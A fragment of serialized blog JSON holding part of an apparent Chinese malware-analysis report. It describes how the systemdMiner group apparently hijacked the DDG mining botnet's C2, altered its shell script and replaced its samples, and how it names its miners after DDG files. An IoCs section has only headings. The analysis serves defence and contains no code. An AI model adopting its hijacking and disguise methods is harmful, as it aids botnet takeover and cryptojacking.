"],[0,[0],1,"systemdMiner"],[0,[],0," 的 C2 Domain。"]]],[1,"p",[[0,[],0,"所以我们认为，DDG 的主 C2 被 "],[0,[0],1,"systemdMiner"],[0,[],0," 的团伙入侵了。得手之后，"],[0,[0],1,"systemdMiner"],[0,[],0," 背后的团伙篡改了 DDG 的恶意 Shell 脚本，并把 DDG 主 C2 服务器上 DDG 的主样本替换成自己的恶意程序，从而经过 DDG 的下发通道把自己的恶意程序下发到 DDG 控制的肉鸡上。"]]],[1,"p",[[0,[],0,"在 systemdMiner 后续的更新中，还会把自己的矿机程序命名为类似于 DDG 样本的名字，比如 "],[0,[0],1,"6Tx3Wq"],[0,[],0,"(同于DDG 矿机程序文件名)或者"],[0,[0],1,"ddgs.4000 ，让人乍一看会误以为是 DDG 相关的恶意程序。"]]],[1,"h2",[[0,[0],1,"5. IoCs"]]],[1,"p",[[0,[0],1,"C&C Domain:"]]],[10,28],[1,"p",[[0,[0],1,"MD5:"]]],[10,29]],"ghostVersion":"3.0"}